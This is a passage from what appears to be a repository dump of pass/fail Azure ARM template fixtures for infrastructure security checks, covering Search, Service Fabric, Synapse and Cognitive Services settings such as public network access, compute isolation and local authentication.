    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2020-08-01-Preview\",\n      \"name\": \"fail\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSearchSLAIndex/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2020-08-01\",\n      \"name\": \"fail2\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"properties\": {\n        \"replicaCount\": 2\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSearchSLAIndex/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2024-03-01-preview\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"properties\": {\n        \"publicNetworkAccess\": \"Disabled\",\n        \"replicaCount\": 3\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSearchSLAQueryUpdates/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2024-03-01-preview\",\n      \"name\": \"fail\",\n      \"location\": \"string\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\"\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSearchSLAQueryUpdates/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2024-03-01-preview\",\n      \"name\": \"fail2\",\n      \"location\": \"string\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"properties\": {\n        \"replicaCount\": 1\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSearchSLAQueryUpdates/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Search/searchServices\",\n      \"apiVersion\": \"2024-03-01-preview\",\n      \"name\": \"pass\",\n      \"location\": \"string\",\n      \"sku\": {\n        \"name\": \"standard\"\n      },\n      \"properties\": {\n        \"publicNetworkAccess\": \"Disabled\",\n        \"replicaCount\": 2\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureServiceFabricClusterProtectionLevel/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n       {\n  \"type\": \"Microsoft.ServiceFabric/clusters\",\n  \"apiVersion\": \"2019-03-01\",\n  \"name\": \"fail\",\n  \"location\": \"string\",\n  \"tags\": {\n    \"tagName1\": \"tagValue1\",\n    \"tagName2\": \"tagValue2\"\n  },\n  \"properties\": {\n    \"addOnFeatures\": [ \"string\" ],\n    \"azureActiveDirectory\": {\n      \"clientApplication\": \"string\",\n      \"clusterApplication\": \"string\",\n      \"tenantId\": \"string\"\n    },\n    \"certificate\": {\n      \"thumbprint\": \"string\",\n      \"thumbprintSecondary\": \"string\",\n      \"x509StoreName\": \"string\"\n    },\n    \"certificateCommonNames\": {\n      \"commonNames\": [\n        {\n          \"certificateCommonName\": \"string\",\n          \"certificateIssuerThumbprint\": \"string\"\n        }\n      ],\n      \"x509StoreName\": \"string\"\n    },\n    \"clientCertificateCommonNames\": [\n      {\n        \"certificateCommonName\": \"string\",\n        \"certificateIssuerThumbprint\": \"string\",\n        \"isAdmin\": \"bool\"\n      }\n    ],\n    \"clientCertificateThumbprints\": [\n      {\n        \"certificateThumbprint\": \"string\",\n        \"isAdmin\": \"bool\"\n      }\n    ],\n    \"clusterCodeVersion\": \"string\",\n    \"diagnosticsStorageAccountConfig\": {\n      \"blobEndpoint\": \"string\",\n      \"protectedAccountKeyName\": \"string\",\n      \"queueEndpoint\": \"string\",\n      \"storageAccountName\": \"string\",\n      \"tableEndpoint\": \"string\"\n    },\n    \"eventStoreServiceEnabled\": \"bool\",\n    \"managementEndpoint\": \"string\",\n    \"nodeTypes\": [\n      {\n        \"applicationPorts\": {\n          \"endPort\": \"int\",\n          \"startPort\": \"int\"\n        },\n        \"capacities\": {\n          \"{customized property}\": \"string\"\n        },\n        \"clientConnectionEndpointPort\": \"int\",\n        \"durabilityLevel\": \"string\",\n        \"ephemeralPorts\": {\n          \"endPort\": \"int\",\n          \"startPort\": \"int\"\n        },\n        \"httpGatewayEndpointPort\": \"int\",\n        \"isPrimary\": \"bool\",\n        \"name\": \"string\",\n        \"placementProperties\": {\n          \"{customized property}\": \"string\"\n        },\n        \"reverseProxyEndpointPort\": \"int\",\n        \"vmInstanceCount\": \"int\"\n      }\n    ],\n    \"reliabilityLevel\": \"string\",\n    \"reverseProxyCertificate\": {\n      \"thumbprint\": \"string\",\n      \"thumbprintSecondary\": \"string\",\n      \"x509StoreName\": \"string\"\n    },\n    \"reverseProxyCertificateCommonNames\": {\n      \"commonNames\": [\n        {\n          \"certificateCommonName\": \"string\",\n          \"certificateIssuerThumbprint\": \"string\"\n        }\n      ],\n      \"x509StoreName\": \"string\"\n    },\n    \"upgradeDescription\": {\n      \"deltaHealthPolicy\": {\n        \"applicationDeltaHealthPolicies\": {\n          \"{customized property}\": {\n            \"defaultServiceTypeDeltaHealthPolicy\": {\n              \"maxPercentDeltaUnhealthyServices\": \"int\"\n            },\n            \"serviceTypeDeltaHealthPolicies\": {\n              \"{customized property}\": {\n                \"maxPercentDeltaUnhealthyServices\": \"int\"\n              }\n            }\n          }\n        },\n        \"maxPercentDeltaUnhealthyApplications\": \"int\",\n        \"maxPercentDeltaUnhealthyNodes\": \"int\",\n        \"maxPercentUpgradeDomainDeltaUnhealthyNodes\": \"int\"\n      },\n      \"forceRestart\": \"bool\",\n      \"healthCheckRetryTimeout\": \"string\",\n      \"healthCheckStableDuration\": \"string\",\n      \"healthCheckWaitDuration\": \"string\",\n      \"healthPolicy\": {\n        \"applicationHealthPolicies\": {\n          \"{customized property}\": {\n            \"defaultServiceTypeHealthPolicy\": {\n              \"maxPercentUnhealthyServices\": \"int\"\n            },\n            \"serviceTypeHealthPolicies\": {\n              \"{customized property}\": {\n                \"maxPercentUnhealthyServices\": \"int\"\n              }\n            }\n          }\n        },\n        \"maxPercentUnhealthyApplications\": \"int\",\n        \"maxPercentUnhealthyNodes\": \"int\"\n      },\n      \"upgradeDomainTimeout\": \"string\",\n      \"upgradeReplicaSetCheckTimeout\": \"string\",\n      \"upgradeTimeout\": \"string\"\n    },\n    \"upgradeMode\": \"string\",\n    \"vmImage\": \"string\"\n  }\n}\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureServiceFabricClusterProtectionLevel/fail2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n       {\n  \"type\": \"Microsoft.ServiceFabric/clusters\",\n  \"apiVersion\": \"2019-03-01\",\n  \"name\": \"fail2\",\n  \"location\": \"string\",\n  \"tags\": {\n    \"tagName1\": \"tagValue1\",\n    \"tagName2\": \"tagValue2\"\n  },\n  \"properties\": {\n    \"addOnFeatures\": [ \"string\" ],\n    \"azureActiveDirectory\": {\n      \"clientApplication\": \"string\",\n      \"clusterApplication\": \"string\",\n      \"tenantId\": \"string\"\n    },\n    \"certificate\": {\n      \"thumbprint\": \"string\",\n      \"thumbprintSecondary\": \"string\",\n      \"x509StoreName\": \"string\"\n    },\n    \"certificateCommonNames\": {\n      \"commonNames\": [\n        {\n          \"certificateCommonName\": \"string\",\n          \"certificateIssuerThumbprint\": \"string\"\n        }\n      ],\n      \"x509StoreName\": \"string\"\n    },\n    \"clientCertificateCommonNames\": [\n      {\n        \"certificateCommonName\": \"string\",\n        \"certificateIssuerThumbprint\": \"string\",\n        \"isAdmin\": \"bool\"\n      }\n    ],\n    \"clientCertificateThumbprints\": [\n      {\n        \"certificateThumbprint\": \"string\",\n        \"isAdmin\": \"bool\"\n      }\n    ],\n    \"clusterCodeVersion\": \"string\",\n    \"diagnosticsStorageAccountConfig\": {\n      \"blobEndpoint\": \"string\",\n      \"protectedAccountKeyName\": \"string\",\n      \"queueEndpoint\": \"string\",\n      \"storageAccountName\": \"string\",\n      \"tableEndpoint\": \"string\"\n    },\n    \"eventStoreServiceEnabled\": \"bool\",\n    \"fabricSettings\": [\n      {\n       \"name\": \"Security\",\n        \"parameters\": [\n          {\n            \"name\": \"ClusterProtectionLevel\",\n            \"value\": \"sign\"\n          }\n        ]\n      }\n    ],\n    \"managementEndpoint\": \"string\",\n    \"nodeTypes\": [\n      {\n        \"applicationPorts\": {\n          \"endPort\": \"int\",\n          \"startPort\": \"int\"\n        },\n        \"capacities\": {\n          \"{customized property}\": \"string\"\n        },\n        \"clientConnectionEndpointPort\": \"int\",\n        \"durabilityLevel\": \"string\",\n        \"ephemeralPorts\": {\n          \"endPort\": \"int\",\n          \"startPort\": \"int\"\n        },\n        \"httpGatewayEndpointPort\": \"int\",\n        \"isPrimary\": \"bool\",\n        \"name\": \"string\",\n        \"placementProperties\": {\n          \"{customized property}\": \"string\"\n        },\n        \"reverseProxyEndpointPort\": \"int\",\n        \"vmInstanceCount\": \"int\"\n      }\n    ],\n    \"reliabilityLevel\": \"string\",\n    \"reverseProxyCertificate\": {\n      \"thumbprint\": \"string\",\n      \"thumbprintSecondary\": \"string\",\n      \"x509StoreName\": \"string\"\n    },\n    \"reverseProxyCertificateCommonNames\": {\n      \"commonNames\": [\n        {\n          \"certificateCommonName\": \"string\",\n          \"certificateIssuerThumbprint\": \"string\"\n        }\n      ],\n      \"x509StoreName\": \"string\"\n    },\n    \"upgradeDescription\": {\n      \"deltaHealthPolicy\": {\n        \"applicationDeltaHealthPolicies\": {\n          \"{customized property}\": {\n            \"defaultServiceTypeDeltaHealthPolicy\": {\n              \"maxPercentDeltaUnhealthyServices\": \"int\"\n            },\n            \"serviceTypeDeltaHealthPolicies\": {\n              \"{customized property}\": {\n                \"maxPercentDeltaUnhealthyServices\": \"int\"\n              }\n            }\n          }\n        },\n        \"maxPercentDeltaUnhealthyApplications\": \"int\",\n        \"maxPercentDeltaUnhealthyNodes\": \"int\",\n        \"maxPercentUpgradeDomainDeltaUnhealthyNodes\": \"int\"\n      },\n      \"forceRestart\": \"bool\",\n      \"healthCheckRetryTimeout\": \"string\",\n      \"healthCheckStableDuration\": \"string\",\n      \"healthCheckWaitDuration\": \"string\",\n      \"healthPolicy\": {\n        \"applicationHealthPolicies\": {\n          \"{customized property}\": {\n            \"defaultServiceTypeHealthPolicy\": {\n              \"maxPercentUnhealthyServices\": \"int\"\n            },\n            \"serviceTypeHealthPolicies\": {\n              \"{customized property}\": {\n                \"maxPercentUnhealthyServices\": \"int\"\n              }\n            }\n          }\n        },\n        \"maxPercentUnhealthyApplications\": \"int\",\n        \"maxPercentUnhealthyNodes\": \"int\"\n      },\n      \"upgradeDomainTimeout\": \"string\",\n      \"upgradeReplicaSetCheckTimeout\": \"string\",\n      \"upgradeTimeout\": \"string\"\n    },\n    \"upgradeMode\": \"string\",\n    \"vmImage\": \"string\"\n  }\n}\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureServiceFabricClusterProtectionLevel/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"resources\": [\n       {\n  \"type\": \"Microsoft.ServiceFabric/clusters\",\n  \"apiVersion\": \"2019-03-01\",\n  \"name\": \"pass\",\n  \"location\": \"string\",\n  \"tags\": {\n    \"tagName1\": \"tagValue1\",\n    \"tagName2\": \"tagValue2\"\n  },\n  \"properties\": {\n    \"addOnFeatures\": [ \"string\" ],\n    \"azureActiveDirectory\": {\n      \"clientApplication\": \"string\",\n      \"clusterApplication\": \"string\",\n      \"tenantId\": \"string\"\n    },\n    \"certificate\": {\n      \"thumbprint\": \"string\",\n      \"thumbprintSecondary\": \"string\",\n      \"x509StoreName\": \"string\"\n    },\n    \"certificateCommonNames\": {\n      \"commonNames\": [\n        {\n          \"certificateCommonName\": \"string\",\n          \"certificateIssuerThumbprint\": \"string\"\n        }\n      ],\n      \"x509StoreName\": \"string\"\n    },\n    \"clientCertificateCommonNames\": [\n      {\n        \"certificateCommonName\": \"string\",\n        \"certificateIssuerThumbprint\": \"string\",\n        \"isAdmin\": \"bool\"\n      }\n    ],\n    \"clientCertificateThumbprints\": [\n      {\n        \"certificateThumbprint\": \"string\",\n        \"isAdmin\": \"bool\"\n      }\n    ],\n    \"clusterCodeVersion\": \"string\",\n    \"diagnosticsStorageAccountConfig\": {\n      \"blobEndpoint\": \"string\",\n      \"protectedAccountKeyName\": \"string\",\n      \"queueEndpoint\": \"string\",\n      \"storageAccountName\": \"string\",\n      \"tableEndpoint\": \"string\"\n    },\n    \"eventStoreServiceEnabled\": \"bool\",\n\n    \"fabricSettings\": [\n      {\n       \"name\": \"Security\",\n        \"parameters\": [\n          {\n            \"name\": \"ClusterProtectionLevel\",\n            \"value\": \"EncryptAndSign\"\n\n          }\n        ]\n      }\n    ],\n    \"managementEndpoint\": \"string\",\n    \"nodeTypes\": [\n      {\n        \"applicationPorts\": {\n          \"endPort\": \"int\",\n          \"startPort\": \"int\"\n        },\n        \"capacities\": {\n          \"{customized property}\": \"string\"\n        },\n        \"clientConnectionEndpointPort\": \"int\",\n        \"durabilityLevel\": \"string\",\n        \"ephemeralPorts\": {\n          \"endPort\": \"int\",\n          \"startPort\": \"int\"\n        },\n        \"httpGatewayEndpointPort\": \"int\",\n        \"isPrimary\": \"bool\",\n        \"name\": \"string\",\n        \"placementProperties\": {\n          \"{customized property}\": \"string\"\n        },\n        \"reverseProxyEndpointPort\": \"int\",\n        \"vmInstanceCount\": \"int\"\n      }\n    ],\n    \"reliabilityLevel\": \"string\",\n    \"reverseProxyCertificate\": {\n      \"thumbprint\": \"string\",\n      \"thumbprintSecondary\": \"string\",\n      \"x509StoreName\": \"string\"\n    },\n    \"reverseProxyCertificateCommonNames\": {\n      \"commonNames\": [\n        {\n          \"certificateCommonName\": \"string\",\n          \"certificateIssuerThumbprint\": \"string\"\n        }\n      ],\n      \"x509StoreName\": \"string\"\n    },\n    \"upgradeDescription\": {\n      \"deltaHealthPolicy\": {\n        \"applicationDeltaHealthPolicies\": {\n          \"{customized property}\": {\n            \"defaultServiceTypeDeltaHealthPolicy\": {\n              \"maxPercentDeltaUnhealthyServices\": \"int\"\n            },\n            \"serviceTypeDeltaHealthPolicies\": {\n              \"{customized property}\": {\n                \"maxPercentDeltaUnhealthyServices\": \"int\"\n              }\n            }\n          }\n        },\n        \"maxPercentDeltaUnhealthyApplications\": \"int\",\n        \"maxPercentDeltaUnhealthyNodes\": \"int\",\n        \"maxPercentUpgradeDomainDeltaUnhealthyNodes\": \"int\"\n      },\n      \"forceRestart\": \"bool\",\n      \"healthCheckRetryTimeout\": \"string\",\n      \"healthCheckStableDuration\": \"string\",\n      \"healthCheckWaitDuration\": \"string\",\n      \"healthPolicy\": {\n        \"applicationHealthPolicies\": {\n          \"{customized property}\": {\n            \"defaultServiceTypeHealthPolicy\": {\n              \"maxPercentUnhealthyServices\": \"int\"\n            },\n            \"serviceTypeHealthPolicies\": {\n              \"{customized property}\": {\n                \"maxPercentUnhealthyServices\": \"int\"\n              }\n            }\n          }\n        },\n        \"maxPercentUnhealthyApplications\": \"int\",\n        \"maxPercentUnhealthyNodes\": \"int\"\n      },\n      \"upgradeDomainTimeout\": \"string\",\n      \"upgradeReplicaSetCheckTimeout\": \"string\",\n      \"upgradeTimeout\": \"string\"\n    },\n    \"upgradeMode\": \"string\",\n    \"vmImage\": \"string\"\n  }\n}\n    ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSparkPoolIsolatedComputeEnabled/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/bigDataPools\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail1\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"isComputeIsolationEnabled\": false,\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSparkPoolIsolatedComputeEnabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/bigDataPools\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSparkPoolIsolatedComputeEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/bigDataPools\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"isComputeIsolationEnabled\": true,\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSynapseWorkspaceVAisEnabled/fail1.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/vulnerabilityAssessments\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail1\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"recurringScans\": {\n          \"emails\": [\n            \"string\"\n          ],\n          \"emailSubscriptionAdmins\": true,\n          \"isEnabled\": false\n        },\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSynapseWorkspaceVAisEnabled/fail2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/vulnerabilityAssessments\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail2\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSynapseWorkspaceVAisEnabled/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces/vulnerabilityAssessments\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"recurringScans\": {\n          \"emails\": [\n            \"string\"\n          ],\n          \"emailSubscriptionAdmins\": true,\n          \"isEnabled\": true\n        },\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"fail\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      },\n       \"dependsOn\": [\n         \"[resourceId('Microsoft.Web/serverfarms', 'test'))]\",\n         \"[resourceId('Microsoft.Synapse/workspaces/firewallRules', 'test'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/pass.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Web/serverfarms', 'test'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached/pass2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Synapse/workspaces\",\n      \"apiVersion\": \"2021-02-01\",\n      \"name\": \"pass2\",\n      \"location\": \"East US\",\n      \"properties\": {\n        \"storageAccountAccessKey\": \"string\",\n        \"storageContainerPath\": \"string\",\n        \"storageContainerSasKey\": \"string\"\n      }\n    }\n  ]\n}\n\n"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesConfigureIdentity/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"accounts_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.CognitiveServices/accounts\",\n            \"apiVersion\": \"2023-05-01\",\n            \"name\": \"fail\",\n            \"location\": \"westeurope\",\n            \"tags\": {\n                \"createby\": \"Terraform\"\n            },\n            \"sku\": {\n                \"name\": \"S0\"\n            },\n            \"kind\": \"Face\",\n            \"properties\": {\n                \"publicNetworkAccess\": \"Enabled\",\n                \"restrictOutboundNetworkAccess\": false,\n                \"allowedFqdnList\": [],\n                \"disableLocalAuth\": false,\n                \"dynamicThrottlingEnabled\": false\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesConfigureIdentity/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"accounts_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.CognitiveServices/accounts\",\n            \"apiVersion\": \"2023-05-01\",\n            \"name\": \"pass\",\n            \"location\": \"westeurope\",\n            \"tags\": {\n                \"createby\": \"Terraform\"\n            },\n            \"sku\": {\n                \"name\": \"S0\"\n            },\n            \"kind\": \"Face\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"publicNetworkAccess\": \"Disabled\",\n                \"restrictOutboundNetworkAccess\": false,\n                \"allowedFqdnList\": [],\n                \"disableLocalAuth\": false,\n                \"dynamicThrottlingEnabled\": false\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesDisablesPublicNetwork/fail.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"accounts_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.CognitiveServices/accounts\",\n            \"apiVersion\": \"2023-05-01\",\n            \"name\": \"fail\",\n            \"location\": \"westeurope\",\n            \"tags\": {\n                \"createby\": \"Terraform\"\n            },\n            \"sku\": {\n                \"name\": \"S0\"\n            },\n            \"kind\": \"Face\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"publicNetworkAccess\": \"Enabled\",\n                \"restrictOutboundNetworkAccess\": false,\n                \"allowedFqdnList\": [],\n                \"disableLocalAuth\": false,\n                \"dynamicThrottlingEnabled\": false\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesDisablesPublicNetwork/fail2.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"accounts_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.CognitiveServices/accounts\",\n            \"apiVersion\": \"2023-05-01\",\n            \"name\": \"fail2\",\n            \"location\": \"westeurope\",\n            \"tags\": {\n                \"createby\": \"Terraform\"\n            },\n            \"sku\": {\n                \"name\": \"S0\"\n            },\n            \"kind\": \"Face\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"restrictOutboundNetworkAccess\": false,\n                \"allowedFqdnList\": [],\n                \"disableLocalAuth\": false,\n                \"dynamicThrottlingEnabled\": false\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesDisablesPublicNetwork/pass.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"accounts_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.CognitiveServices/accounts\",\n            \"apiVersion\": \"2023-05-01\",\n            \"name\": \"pass\",\n            \"location\": \"westeurope\",\n            \"tags\": {\n                \"createby\": \"Terraform\"\n            },\n            \"sku\": {\n                \"name\": \"S0\"\n            },\n            \"kind\": \"Face\",\n            \"identity\": {\n                \"type\": \"SystemAssigned\"\n            },\n            \"properties\": {\n                \"publicNetworkAccess\": \"Disabled\",\n                \"restrictOutboundNetworkAccess\": false,\n                \"allowedFqdnList\": [],\n                \"disableLocalAuth\": false,\n                \"dynamicThrottlingEnabled\": false\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesEnableLocalAuth/fail.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2023-05-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"accounts_pike_name\": {\n      \"defaultValue\": \"pike\",\n      \"type\": \"String\"\n    }\n  },\n  \"variables\": {},\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.CognitiveServices/accounts\",\n      \"name\": \"fail\",\n      \"location\": \"West US\",\n      \"sku\": {\n        \"name\": \"S0\"\n      },\n      \"kind\": \"CognitiveServices\",\n      \"properties\": {\n        \"publicNetworkAccess\": \"Enabled\",\n        \"disableLocalAuth\": false\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_CognitiveServicesEnableLocalAuth/fail2.json",
